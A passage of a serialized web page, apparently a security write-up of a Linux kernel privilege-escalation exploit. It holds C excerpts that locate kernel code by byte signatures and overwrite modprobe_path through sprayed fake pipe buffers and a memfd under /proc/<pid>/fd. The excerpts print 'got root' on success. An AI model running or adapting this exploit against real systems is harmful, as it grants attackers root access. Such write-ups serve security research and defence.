kernel_runtime_1\n",{"type":26,"tag":217,"props":114147,"children":114148},{"class":7028,"line":7389},[114149,114153,114157,114162,114167,114171,114176,114180,114184,114189,114193,114197,114201,114205,114209,114213],{"type":26,"tag":217,"props":114150,"children":114151},{"style":7042},[114152],{"type":32,"value":9710},{"type":26,"tag":217,"props":114154,"children":114155},{"style":7048},[114156],{"type":32,"value":7051},{"type":26,"tag":217,"props":114158,"children":114159},{"style":7064},[114160],{"type":32,"value":114161},"memcmp",{"type":26,"tag":217,"props":114163,"children":114164},{"style":7048},[114165],{"type":32,"value":114166},"(addr ",{"type":26,"tag":217,"props":114168,"children":114169},{"style":7149},[114170],{"type":32,"value":3540},{"type":26,"tag":217,"props":114172,"children":114173},{"style":7130},[114174],{"type":32,"value":114175}," 0x0",{"type":26,"tag":217,"props":114177,"children":114178},{"style":7048},[114179],{"type":32,"value":7599},{"type":26,"tag":217,"props":114181,"children":114182},{"style":7338},[114183],{"type":32,"value":9007},{"type":26,"tag":217,"props":114185,"children":114186},{"style":8604},[114187],{"type":32,"value":114188},"\\x48\\x8d\\x25\\x51\\x3f",{"type":26,"tag":217,"props":114190,"children":114191},{"style":7338},[114192],{"type":32,"value":9007},{"type":26,"tag":217,"props":114194,"children":114195},{"style":7048},[114196],{"type":32,"value":7599},{"type":26,"tag":217,"props":114198,"children":114199},{"style":7130},[114200],{"type":32,"value":25499},{"type":26,"tag":217,"props":114202,"children":114203},{"style":7048},[114204],{"type":32,"value":8380},{"type":26,"tag":217,"props":114206,"children":114207},{"style":7149},[114208],{"type":32,"value":9106},{"type":26,"tag":217,"props":114210,"children":114211},{"style":7130},[114212],{"type":32,"value":9922},{"type":26,"tag":217,"props":114214,"children":114215},{"style":7149},[114216],{"type":32,"value":68054},{"type":26,"tag":217,"props":114218,"children":114219},{"class":7028,"line":7406},[114220,114225,114229,114233,114238,114242,114246,114251,114255,114259,114263,114267,114271,114275],{"type":26,"tag":217,"props":114221,"children":114222},{"style":7064},[114223],{"type":32,"value":114224},"        memcmp",{"type":26,"tag":217,"props":114226,"children":114227},{"style":7048},[114228],{"type":32,"value":114166},{"type":26,"tag":217,"props":114230,"children":114231},{"style":7149},[114232],{"type":32,"value":3540},{"type":26,"tag":217,"props":114234,"children":114235},{"style":7130},[114236],{"type":32,"value":114237}," 0x7",{"type":26,"tag":217,"props":114239,"children":114240},{"style":7048},[114241],{"type":32,"value":7599},{"type":26,"tag":217,"props":114243,"children":114244},{"style":7338},[114245],{"type":32,"value":9007},{"type":26,"tag":217,"props":114247,"children":114248},{"style":8604},[114249],{"type":32,"value":114250},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":26,"tag":217,"props":114252,"children":114253},{"style":7338},[114254],{"type":32,"value":9007},{"type":26,"tag":217,"props":114256,"children":114257},{"style":7048},[114258],{"type":32,"value":7599},{"type":26,"tag":217,"props":114260,"children":114261},{"style":7130},[114262],{"type":32,"value":19177},{"type":26,"tag":217,"props":114264,"children":114265},{"style":7048},[114266],{"type":32,"value":8380},{"type":26,"tag":217,"props":114268,"children":114269},{"style":7149},[114270],{"type":32,"value":9106},{"type":26,"tag":217,"props":114272,"children":114273},{"style":7130},[114274],{"type":32,"value":9922},{"type":26,"tag":217,"props":114276,"children":114277},{"style":7048},[114278],{"type":32,"value":10025},{"type":26,"tag":217,"props":114280,"children":114281},{"class":7028,"line":7439},[114282,114286,114290],{"type":26,"tag":217,"props":114283,"children":114284},{"style":7042},[114285],{"type":32,"value":9737},{"type":26,"tag":217,"props":114287,"children":114288},{"style":7154},[114289],{"type":32,"value":7902},{"type":26,"tag":217,"props":114291,"children":114292},{"style":7048},[114293],{"type":32,"value":7162},{"type":26,"tag":217,"props":114295,"children":114296},{"class":7028,"line":7487},[114297],{"type":26,"tag":217,"props":114298,"children":114299},{"emptyLinePlaceholder":17},[114300],{"type":32,"value":7817},{"type":26,"tag":217,"props":114302,"children":114303},{"class":7028,"line":7524},[114304],{"type":26,"tag":217,"props":114305,"children":114306},{"style":7033},[114307],{"type":32,"value":114308},"    // get-sig kernel_runtime_2\n",{"type":26,"tag":217,"props":114310,"children":114311},{"class":7028,"line":7553},[114312,114316,114320,114324,114328,114332,114336,114340,114344,114349,114353,114357,114361,114365,114369,114373],{"type":26,"tag":217,"props":114313,"children":114314},{"style":7042},[114315],{"type":32,"value":9710},{"type":26,"tag":217,"props":114317,"children":114318},{"style":7048},[114319],{"type":32,"value":7051},{"type":26,"tag":217,"props":114321,"children":114322},{"style":7064},[114323],{"type":32,"value":114161},{"type":26,"tag":217,"props":114325,"children":114326},{"style":7048},[114327],{"type":32,"value":114166},{"type":26,"tag":217,"props":114329,"children":114330},{"style":7149},[114331],{"type":32,"value":3540},{"type":26,"tag":217,"props":114333,"children":114334},{"style":7130},[114335],{"type":32,"value":114175},{"type":26,"tag":217,"props":114337,"children":114338},{"style":7048},[114339],{"type":32,"value":7599},{"type":26,"tag":217,"props":114341,"children":114342},{"style":7338},[114343],{"type":32,"value":9007},{"type":26,"tag":217,"props":114345,"children":114346},{"style":8604},[114347],{"type":32,"value":114348},"\\xfc\\x0f\\x01\\x15",{"type":26,"tag":217,"props":114350,"children":114351},{"style":7338},[114352],{"type":32,"value":9007},{"type":26,"tag":217,"props":114354,"children":114355},{"style":7048},[114356],{"type":32,"value":7599},{"type":26,"tag":217,"props":114358,"children":114359},{"style":7130},[114360],{"type":32,"value":10985},{"type":26,"tag":217,"props":114362,"children":114363},{"style":7048},[114364],{"type":32,"value":8380},{"type":26,"tag":217,"props":114366,"children":114367},{"style":7149},[114368],{"type":32,"value":9106},{"type":26,"tag":217,"props":114370,"children":114371},{"style":7130},[114372],{"type":32,"value":9922},{"type":26,"tag":217,"props":114374,"children":114375},{"style":7149},[114376],{"type":32,"value":68054},{"type":26,"tag":217,"props":114378,"children":114379},{"class":7028,"line":7570},[114380,114384,114388,114392,114397,114401,114405,114410,114414,114418,114423,114427,114431,114435],{"type":26,"tag":217,"props":114381,"children":114382},{"style":7064},[114383],{"type":32,"value":114224},{"type":26,"tag":217,"props":114385,"children":114386},{"style":7048},[114387],{"type":32,"value":114166},{"type":26,"tag":217,"props":114389,"children":114390},{"style":7149},[114391],{"type":32,"value":3540},{"type":26,"tag":217,"props":114393,"children":114394},{"style":7130},[114395],{"type":32,"value":114396}," 0x8",{"type":26,"tag":217,"props":114398,"children":114399},{"style":7048},[114400],{"type":32,"value":7599},{"type":26,"tag":217,"props":114402,"children":114403},{"style":7338},[114404],{"type":32,"value":9007},{"type":26,"tag":217,"props":114406,"children":114407},{"style":8604},[114408],{"type":32,"value":114409},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":26,"tag":217,"props":114411,"children":114412},{"style":7338},[114413],{"type":32,"value":9007},{"type":26,"tag":217,"props":114415,"children":114416},{"style":7048},[114417],{"type":32,"value":7599},{"type":26,"tag":217,"props":114419,"children":114420},{"style":7130},[114421],{"type":32,"value":114422},"12",{"type":26,"tag":217,"props":114424,"children":114425},{"style":7048},[114426],{"type":32,"value":8380},{"type":26,"tag":217,"props":114428,"children":114429},{"style":7149},[114430],{"type":32,"value":9106},{"type":26,"tag":217,"props":114432,"children":114433},{"style":7130},[114434],{"type":32,"value":9922},{"type":26,"tag":217,"props":114436,"children":114437},{"style":7149},[114438],{"type":32,"value":68054},{"type":26,"tag":217,"props":114440,"children":114441},{"class":7028,"line":7621},[114442,114446,114450,114454,114459,114463,114467,114472,114476,114480,114484,114488,114492,114496],{"type":26,"tag":217,"props":114443,"children":114444},{"style":7064},[114445],{"type":32,"value":114224},{"type":26,"tag":217,"props":114447,"children":114448},{"style":7048},[114449],{"type":32,"value":114166},{"type":26,"tag":217,"props":114451,"children":114452},{"style":7149},[114453],{"type":32,"value":3540},{"type":26,"tag":217,"props":114455,"children":114456},{"style":7130},[114457],{"type":32,"value":114458}," 0x18",{"type":26,"tag":217,"props":114460,"children":114461},{"style":7048},[114462],{"type":32,"value":7599},{"type":26,"tag":217,"props":114464,"children":114465},{"style":7338},[114466],{"type":32,"value":9007},{"type":26,"tag":217,"props":114468,"children":114469},{"style":8604},[114470],{"type":32,"value":114471},"\\x89\\xde\\x8b\\x0d",{"type":26,"tag":217,"props":114473,"children":114474},{"style":7338},[114475],{"type":32,"value":9007},{"type":26,"tag":217,"props":114477,"children":114478},{"style":7048},[114479],{"type":32,"value":7599},{"type":26,"tag":217,"props":114481,"children":114482},{"style":7130},[114483],{"type":32,"value":10985},{"type":26,"tag":217,"props":114485,"children":114486},{"style":7048},[114487],{"type":32,"value":8380},{"type":26,"tag":217,"props":114489,"children":114490},{"style":7149},[114491],{"type":32,"value":9106},{"type":26,"tag":217,"props":114493,"children":114494},{"style":7130},[114495],{"type":32,"value":9922},{"type":26,"tag":217,"props":114497,"children":114498},{"style":7149},[114499],{"type":32,"value":68054},{"type":26,"tag":217,"props":114501,"children":114502},{"class":7028,"line":7672},[114503,114507,114511,114515,114520,114524,114528,114533,114537,114541,114545,114549,114553,114557],{"type":26,"tag":217,"props":114504,"children":114505},{"style":7064},[114506],{"type":32,"value":114224},{"type":26,"tag":217,"props":114508,"children":114509},{"style":7048},[114510],{"type":32,"value":114166},{"type":26,"tag":217,"props":114512,"children":114513},{"style":7149},[114514],{"type":32,"value":3540},{"type":26,"tag":217,"props":114516,"children":114517},{"style":7130},[114518],{"type":32,"value":114519}," 0x20",{"type":26,"tag":217,"props":114521,"children":114522},{"style":7048},[114523],{"type":32,"value":7599},{"type":26,"tag":217,"props":114525,"children":114526},{"style":7338},[114527],{"type":32,"value":9007},{"type":26,"tag":217,"props":114529,"children":114530},{"style":8604},[114531],{"type":32,"value":114532},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":26,"tag":217,"props":114534,"children":114535},{"style":7338},[114536],{"type":32,"value":9007},{"type":26,"tag":217,"props":114538,"children":114539},{"style":7048},[114540],{"type":32,"value":7599},{"type":26,"tag":217,"props":114542,"children":114543},{"style":7130},[114544],{"type":32,"value":27010},{"type":26,"tag":217,"props":114546,"children":114547},{"style":7048},[114548],{"type":32,"value":8380},{"type":26,"tag":217,"props":114550,"children":114551},{"style":7149},[114552],{"type":32,"value":9106},{"type":26,"tag":217,"props":114554,"children":114555},{"style":7130},[114556],{"type":32,"value":9922},{"type":26,"tag":217,"props":114558,"children":114559},{"style":7149},[114560],{"type":32,"value":68054},{"type":26,"tag":217,"props":114562,"children":114563},{"class":7028,"line":7681},[114564,114568,114572,114576,114581,114585,114589,114594,114598,114602,114607,114611,114615,114619],{"type":26,"tag":217,"props":114565,"children":114566},{"style":7064},[114567],{"type":32,"value":114224},{"type":26,"tag":217,"props":114569,"children":114570},{"style":7048},[114571],{"type":32,"value":114166},{"type":26,"tag":217,"props":114573,"children":114574},{"style":7149},[114575],{"type":32,"value":3540},{"type":26,"tag":217,"props":114577,"children":114578},{"style":7130},[114579],{"type":32,"value":114580}," 0x2a",{"type":26,"tag":217,"props":114582,"children":114583},{"style":7048},[114584],{"type":32,"value":7599},{"type":26,"tag":217,"props":114586,"children":114587},{"style":7338},[114588],{"type":32,"value":9007},{"type":26,"tag":217,"props":114590,"children":114591},{"style":8604},[114592],{"type":32,"value":114593},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":26,"tag":217,"props":114595,"children":114596},{"style":7338},[114597],{"type":32,"value":9007},{"type":26,"tag":217,"props":114599,"children":114600},{"style":7048},[114601],{"type":32,"value":7599},{"type":26,"tag":217,"props":114603,"children":114604},{"style":7130},[114605],{"type":32,"value":114606},"24",{"type":26,"tag":217,"props":114608,"children":114609},{"style":7048},[114610],{"type":32,"value":8380},{"type":26,"tag":217,"props":114612,"children":114613},{"style":7149},[114614],{"type":32,"value":9106},{"type":26,"tag":217,"props":114616,"children":114617},{"style":7130},[114618],{"type":32,"value":9922},{"type":26,"tag":217,"props":114620,"children":114621},{"style":7149},[114622],{"type":32,"value":68054},{"type":26,"tag":217,"props":114624,"children":114625},{"class":7028,"line":7754},[114626,114630,114634,114638,114643,114647,114651,114656,114660,114664,114668,114672,114676,114680],{"type":26,"tag":217,"props":114627,"children":114628},{"style":7064},[114629],{"type":32,"value":114224},{"type":26,"tag":217,"props":114631,"children":114632},{"style":7048},[114633],{"type":32,"value":114166},{"type":26,"tag":217,"props":114635,"children":114636},{"style":7149},[114637],{"type":32,"value":3540},{"type":26,"tag":217,"props":114639,"children":114640},{"style":7130},[114641],{"type":32,"value":114642}," 0x45",{"type":26,"tag":217,"props":114644,"children":114645},{"style":7048},[114646],{"type":32,"value":7599},{"type":26,"tag":217,"props":114648,"children":114649},{"style":7338},[114650],{"type":32,"value":9007},{"type":26,"tag":217,"props":114652,"children":114653},{"style":8604},[114654],{"type":32,"value":114655},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":26,"tag":217,"props":114657,"children":114658},{"style":7338},[114659],{"type":32,"value":9007},{"type":26,"tag":217,"props":114661,"children":114662},{"style":7048},[114663],{"type":32,"value":7599},{"type":26,"tag":217,"props":114665,"children":114666},{"style":7130},[114667],{"type":32,"value":27964},{"type":26,"tag":217,"props":114669,"children":114670},{"style":7048},[114671],{"type":32,"value":8380},{"type":26,"tag":217,"props":114673,"children":114674},{"style":7149},[114675],{"type":32,"value":9106},{"type":26,"tag":217,"props":114677,"children":114678},{"style":7130},[114679],{"type":32,"value":9922},{"type":26,"tag":217,"props":114681,"children":114682},{"style":7149},[114683],{"type":32,"value":68054},{"type":26,"tag":217,"props":114685,"children":114686},{"class":7028,"line":7784},[114687,114691,114695,114699,114704,114708,114712,114717,114721,114725,114729,114733,114737,114741],{"type":26,"tag":217,"props":114688,"children":114689},{"style":7064},[114690],{"type":32,"value":114224},{"type":26,"tag":217,"props":114692,"children":114693},{"style":7048},[114694],{"type":32,"value":114166},{"type":26,"tag":217,"props":114696,"children":114697},{"style":7149},[114698],{"type":32,"value":3540},{"type":26,"tag":217,"props":114700,"children":114701},{"style":7130},[114702],{"type":32,"value":114703}," 0x55",{"type":26,"tag":217,"props":114705,"children":114706},{"style":7048},[114707],{"type":32,"value":7599},{"type":26,"tag":217,"props":114709,"children":114710},{"style":7338},[114711],{"type":32,"value":9007},{"type":26,"tag":217,"props":114713,"children":114714},{"style":8604},[114715],{"type":32,"value":114716},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":26,"tag":217,"props":114718,"children":114719},{"style":7338},[114720],{"type":32,"value":9007},{"type":26,"tag":217,"props":114722,"children":114723},{"style":7048},[114724],{"type":32,"value":7599},{"type":26,"tag":217,"props":114726,"children":114727},{"style":7130},[114728],{"type":32,"value":27891},{"type":26,"tag":217,"props":114730,"children":114731},{"style":7048},[114732],{"type":32,"value":8380},{"type":26,"tag":217,"props":114734,"children":114735},{"style":7149},[114736],{"type":32,"value":9106},{"type":26,"tag":217,"props":114738,"children":114739},{"style":7130},[114740],{"type":32,"value":9922},{"type":26,"tag":217,"props":114742,"children":114743},{"style":7149},[114744],{"type":32,"value":68054},{"type":26,"tag":217,"props":114746,"children":114747},{"class":7028,"line":7802},[114748,114752,114756,114760,114765,114769,114773,114778,114782,114786,114790,114794,114798,114802],{"type":26,"tag":217,"props":114749,"children":114750},{"style":7064},[114751],{"type":32,"value":114224},{"type":26,"tag":217,"props":114753,"children":114754},{"style":7048},[114755],{"type":32,"value":114166},{"type":26,"tag":217,"props":114757,"children":114758},{"style":7149},[114759],{"type":32,"value":3540},{"type":26,"tag":217,"props":114761,"children":114762},{"style":7130},[114763],{"type":32,"value":114764}," 0x61",{"type":26,"tag":217,"props":114766,"children":114767},{"style":7048},[114768],{"type":32,"value":7599},{"type":26,"tag":217,"props":114770,"children":114771},{"style":7338},[114772],{"type":32,"value":9007},{"type":26,"tag":217,"props":114774,"children":114775},{"style":8604},[114776],{"type":32,"value":114777},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":26,"tag":217,"props":114779,"children":114780},{"style":7338},[114781],{"type":32,"value":9007},{"type":26,"tag":217,"props":114783,"children":114784},{"style":7048},[114785],{"type":32,"value":7599},{"type":26,"tag":217,"props":114787,"children":114788},{"style":7130},[114789],{"type":32,"value":25499},{"type":26,"tag":217,"props":114791,"children":114792},{"style":7048},[114793],{"type":32,"value":8380},{"type":26,"tag":217,"props":114795,"children":114796},{"style":7149},[114797],{"type":32,"value":9106},{"type":26,"tag":217,"props":114799,"children":114800},{"style":7130},[114801],{"type":32,"value":9922},{"type":26,"tag":217,"props":114803,"children":114804},{"style":7149},[114805],{"type":32,"value":68054},{"type":26,"tag":217,"props":114807,"children":114808},{"class":7028,"line":7811},[114809,114813,114817,114821,114826,114830,114834,114839,114843,114847,114851,114855,114859,114863],{"type":26,"tag":217,"props":114810,"children":114811},{"style":7064},[114812],{"type":32,"value":114224},{"type":26,"tag":217,"props":114814,"children":114815},{"style":7048},[114816],{"type":32,"value":114166},{"type":26,"tag":217,"props":114818,"children":114819},{"style":7149},[114820],{"type":32,"value":3540},{"type":26,"tag":217,"props":114822,"children":114823},{"style":7130},[114824],{"type":32,"value":114825}," 0x6a",{"type":26,"tag":217,"props":114827,"children":114828},{"style":7048},[114829],{"type":32,"value":7599},{"type":26,"tag":217,"props":114831,"children":114832},{"style":7338},[114833],{"type":32,"value":9007},{"type":26,"tag":217,"props":114835,"children":114836},{"style":8604},[114837],{"type":32,"value":114838},"\\x48\\xc7\\xc6",{"type":26,"tag":217,"props":114840,"children":114841},{"style":7338},[114842],{"type":32,"value":9007},{"type":26,"tag":217,"props":114844,"children":114845},{"style":7048},[114846],{"type":32,"value":7599},{"type":26,"tag":217,"props":114848,"children":114849},{"style":7130},[114850],{"type":32,"value":10676},{"type":26,"tag":217,"props":114852,"children":114853},{"style":7048},[114854],{"type":32,"value":8380},{"type":26,"tag":217,"props":114856,"children":114857},{"style":7149},[114858],{"type":32,"value":9106},{"type":26,"tag":217,"props":114860,"children":114861},{"style":7130},[114862],{"type":32,"value":9922},{"type":26,"tag":217,"props":114864,"children":114865},{"style":7149},[114866],{"type":32,"value":68054},{"type":26,"tag":217,"props":114868,"children":114869},{"class":7028,"line":7820},[114870,114874,114878,114882,114887,114891,114895,114900,114904,114908,114912,114916,114920,114924],{"type":26,"tag":217,"props":114871,"children":114872},{"style":7064},[114873],{"type":32,"value":114224},{"type":26,"tag":217,"props":114875,"children":114876},{"style":7048},[114877],{"type":32,"value":114166},{"type":26,"tag":217,"props":114879,"children":114880},{"style":7149},[114881],{"type":32,"value":3540},{"type":26,"tag":217,"props":114883,"children":114884},{"style":7130},[114885],{"type":32,"value":114886}," 0x71",{"type":26,"tag":217,"props":114888,"children":114889},{"style":7048},[114890],{"type":32,"value":7599},{"type":26,"tag":217,"props":114892,"children":114893},{"style":7338},[114894],{"type":32,"value":9007},{"type":26,"tag":217,"props":114896,"children":114897},{"style":8604},[114898],{"type":32,"value":114899},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":26,"tag":217,"props":114901,"children":114902},{"style":7338},[114903],{"type":32,"value":9007},{"type":26,"tag":217,"props":114905,"children":114906},{"style":7048},[114907],{"type":32,"value":7599},{"type":26,"tag":217,"props":114909,"children":114910},{"style":7130},[114911],{"type":32,"value":27010},{"type":26,"tag":217,"props":114913,"children":114914},{"style":7048},[114915],{"type":32,"value":8380},{"type":26,"tag":217,"props":114917,"children":114918},{"style":7149},[114919],{"type":32,"value":9106},{"type":26,"tag":217,"props":114921,"children":114922},{"style":7130},[114923],{"type":32,"value":9922},{"type":26,"tag":217,"props":114925,"children":114926},{"style":7149},[114927],{"type":32,"value":68054},{"type":26,"tag":217,"props":114929,"children":114930},{"class":7028,"line":7844},[114931,114935,114939,114943,114948,114952,114956,114961,114965,114969,114973,114977,114981,114985],{"type":26,"tag":217,"props":114932,"children":114933},{"style":7064},[114934],{"type":32,"value":114224},{"type":26,"tag":217,"props":114936,"children":114937},{"style":7048},[114938],{"type":32,"value":114166},{"type":26,"tag":217,"props":114940,"children":114941},{"style":7149},[114942],{"type":32,"value":3540},{"type":26,"tag":217,"props":114944,"children":114945},{"style":7130},[114946],{"type":32,"value":114947}," 0x78",{"type":26,"tag":217,"props":114949,"children":114950},{"style":7048},[114951],{"type":32,"value":7599},{"type":26,"tag":217,"props":114953,"children":114954},{"style":7338},[114955],{"type":32,"value":9007},{"type":26,"tag":217,"props":114957,"children":114958},{"style":8604},[114959],{"type":32,"value":114960},"\\xff\\xe0",{"type":26,"tag":217,"props":114962,"children":114963},{"style":7338},[114964],{"type":32,"value":9007},{"type":26,"tag":217,"props":114966,"children":114967},{"style":7048},[114968],{"type":32,"value":7599},{"type":26,"tag":217,"props":114970,"children":114971},{"style":7130},[114972],{"type":32,"value":332},{"type":26,"tag":217,"props":114974,"children":114975},{"style":7048},[114976],{"type":32,"value":8380},{"type":26,"tag":217,"props":114978,"children":114979},{"style":7149},[114980],{"type":32,"value":9106},{"type":26,"tag":217,"props":114982,"children":114983},{"style":7130},[114984],{"type":32,"value":9922},{"type":26,"tag":217,"props":114986,"children":114987},{"style":7048},[114988],{"type":32,"value":10025},{"type":26,"tag":217,"props":114990,"children":114991},{"class":7028,"line":7910},[114992,114996,115000],{"type":26,"tag":217,"props":114993,"children":114994},{"style":7042},[114995],{"type":32,"value":9737},{"type":26,"tag":217,"props":114997,"children":114998},{"style":7154},[114999],{"type":32,"value":7902},{"type":26,"tag":217,"props":115001,"children":115002},{"style":7048},[115003],{"type":32,"value":7162},{"type":26,"tag":217,"props":115005,"children":115006},{"class":7028,"line":7954},[115007],{"type":26,"tag":217,"props":115008,"children":115009},{"emptyLinePlaceholder":17},[115010],{"type":32,"value":7817},{"type":26,"tag":217,"props":115012,"children":115013},{"class":7028,"line":7985},[115014,115018,115022],{"type":26,"tag":217,"props":115015,"children":115016},{"style":7042},[115017],{"type":32,"value":7171},{"type":26,"tag":217,"props":115019,"children":115020},{"style":7154},[115021],{"type":32,"value":7795},{"type":26,"tag":217,"props":115023,"children":115024},{"style":7048},[115025],{"type":32,"value":7162},{"type":26,"tag":217,"props":115027,"children":115028},{"class":7028,"line":8027},[115029],{"type":26,"tag":217,"props":115030,"children":115031},{"style":7048},[115032],{"type":32,"value":7184},{"type":26,"tag":217,"props":115034,"children":115035},{"class":7028,"line":8035},[115036],{"type":26,"tag":217,"props":115037,"children":115038},{"style":7048},[115039],{"type":32,"value":59466},{"type":26,"tag":607,"props":115041,"children":115043},{"id":115042},"overwriting-modprobe_path",[115044,115046],{"type":32,"value":115045},"Overwriting ",{"type":26,"tag":83,"props":115047,"children":115049},{"className":115048},[],[115050],{"type":32,"value":113434},{"type":26,"tag":39,"props":115052,"children":115053},{},[115054,115056,115062],{"type":32,"value":115055},"Finding the ",{"type":26,"tag":83,"props":115057,"children":115059},{"className":115058},[],[115060],{"type":32,"value":115061},"/sbin/modprobe",{"type":32,"value":115063}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":26,"tag":39,"props":115065,"children":115066},{},[115067,115069,115075],{"type":32,"value":115068},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":26,"tag":83,"props":115070,"children":115072},{"className":115071},[],[115073],{"type":32,"value":115074},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":32,"value":115076}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":26,"tag":207,"props":115078,"children":115080},{"className":33132,"code":115079,"language":33131,"meta":8,"style":8},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[115081],{"type":26,"tag":83,"props":115082,"children":115083},{"__ignoreMap":8},[115084,115091,115113,115121,115128,115136,115144,115152,115160,115167,115175,115182,115221,115232,115239,115246,115253,115280,115311,115318,115340,115353,115360,115417,115424,115452,115459,115466,115487,115494,115515,115526,115533,115540,115561,115568,115596,115607,115614,115621,115669,115676,115742,115749,115770,115789,115796,115803,115810,115830],{"type":26,"tag":217,"props":115085,"children":115086},{"class":7028,"line":7029},[115087],{"type":26,"tag":217,"props":115088,"children":115089},{"style":7048},[115090],{"type":32,"value":59466},{"type":26,"tag":217,"props":115092,"children":115093},{"class":7028,"line":6770},[115094,115099,115104,115109],{"type":26,"tag":217,"props":115095,"children":115096},{"style":7048},[115097],{"type":32,"value":115098},"    puts(\"[*] ",{"type":26,"tag":217,"props":115100,"children":115101},{"style":7119},[115102],{"type":32,"value":115103},"overwrite",{"type":26,"tag":217,"props":115105,"children":115106},{"style":7119},[115107],{"type":32,"value":115108}," modprobe_path",{"type":26,"tag":217,"props":115110,"children":115111},{"style":7338},[115112],{"type":32,"value":111356},{"type":26,"tag":217,"props":115114,"children":115115},{"class":7028,"line":6779},[115116],{"type":26,"tag":217,"props":115117,"children":115118},{"style":7338},[115119],{"type":32,"value":115120},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":26,"tag":217,"props":115122,"children":115123},{"class":7028,"line":7140},[115124],{"type":26,"tag":217,"props":115125,"children":115126},{"style":7338},[115127],{"type":32,"value":37334},{"type":26,"tag":217,"props":115129,"children":115130},{"class":7028,"line":7165},[115131],{"type":26,"tag":217,"props":115132,"children":115133},{"style":7338},[115134],{"type":32,"value":115135},"        pipebuf->page = modprobe_page;\n",{"type":26,"tag":217,"props":115137,"children":115138},{"class":7028,"line":7178},[115139],{"type":26,"tag":217,"props":115140,"children":115141},{"style":7338},[115142],{"type":32,"value":115143},"        pipebuf->offset = modprobe_off;\n",{"type":26,"tag":217,"props":115145,"children":115146},{"class":7028,"line":7389},[115147],{"type":26,"tag":217,"props":115148,"children":115149},{"style":7338},[115150],{"type":32,"value":115151},"        pipebuf->len = 0;\n",{"type":26,"tag":217,"props":115153,"children":115154},{"class":7028,"line":7406},[115155],{"type":26,"tag":217,"props":115156,"children":115157},{"style":7338},[115158],{"type":32,"value":115159},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":26,"tag":217,"props":115161,"children":115162},{"class":7028,"line":7439},[115163],{"type":26,"tag":217,"props":115164,"children":115165},{"style":7338},[115166],{"type":32,"value":61312},{"type":26,"tag":217,"props":115168,"children":115169},{"class":7028,"line":7487},[115170],{"type":26,"tag":217,"props":115171,"children":115172},{"style":7338},[115173],{"type":32,"value":115174},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":26,"tag":217,"props":115176,"children":115177},{"class":7028,"line":7524},[115178],{"type":26,"tag":217,"props":115179,"children":115180},{"style":7338},[115181],{"type":32,"value":61436},{"type":26,"tag":217,"props":115183,"children":115184},{"class":7028,"line":7553},[115185,115190,115194,115198,115202,115207,115211,115216],{"type":26,"tag":217,"props":115186,"children":115187},{"style":7338},[115188],{"type":32,"value":115189},"                perror(\"",{"type":26,"tag":217,"props":115191,"children":115192},{"style":7048},[115193],{"type":32,"value":7127},{"type":26,"tag":217,"props":115195,"children":115196},{"style":7149},[115197],{"type":32,"value":18420},{"type":26,"tag":217,"props":115199,"children":115200},{"style":7048},[115201],{"type":32,"value":10276},{"type":26,"tag":217,"props":115203,"children":115204},{"style":7119},[115205],{"type":32,"value":115206},"write",{"type":26,"tag":217,"props":115208,"children":115209},{"style":7048},[115210],{"type":32,"value":1851},{"type":26,"tag":217,"props":115212,"children":115213},{"style":7119},[115214],{"type":32,"value":115215},"socket",{"type":26,"tag":217,"props":115217,"children":115218},{"style":7048},[115219],{"type":32,"value":115220},")\");\n",{"type":26,"tag":217,"props":115222,"children":115223},{"class":7028,"line":7570},[115224,115228],{"type":26,"tag":217,"props":115225,"children":115226},{"style":7042},[115227],{"type":32,"value":114015},{"type":26,"tag":217,"props":115229,"children":115230},{"style":7048},[115231],{"type":32,"value":7162},{"type":26,"tag":217,"props":115233,"children":115234},{"class":7028,"line":7621},[115235],{"type":26,"tag":217,"props":115236,"children":115237},{"style":7048},[115238],{"type":32,"value":36205},{"type":26,"tag":217,"props":115240,"children":115241},{"class":7028,"line":7672},[115242],{"type":26,"tag":217,"props":115243,"children":115244},{"style":7048},[115245],{"type":32,"value":8722},{"type":26,"tag":217,"props":115247,"children":115248},{"class":7028,"line":7681},[115249],{"type":26,"tag":217,"props":115250,"children":115251},{"e